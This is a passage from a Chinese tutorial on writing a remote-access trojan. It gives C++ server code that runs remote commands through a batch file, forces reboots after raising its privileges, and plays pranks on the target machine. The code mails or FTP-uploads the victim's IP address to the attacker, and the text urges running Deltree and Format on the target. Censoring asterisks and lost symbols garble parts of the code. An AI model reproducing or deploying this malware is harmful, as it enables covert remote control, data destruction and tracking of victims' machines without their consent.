file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NM *** TP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序

0条大神的评论

发表评论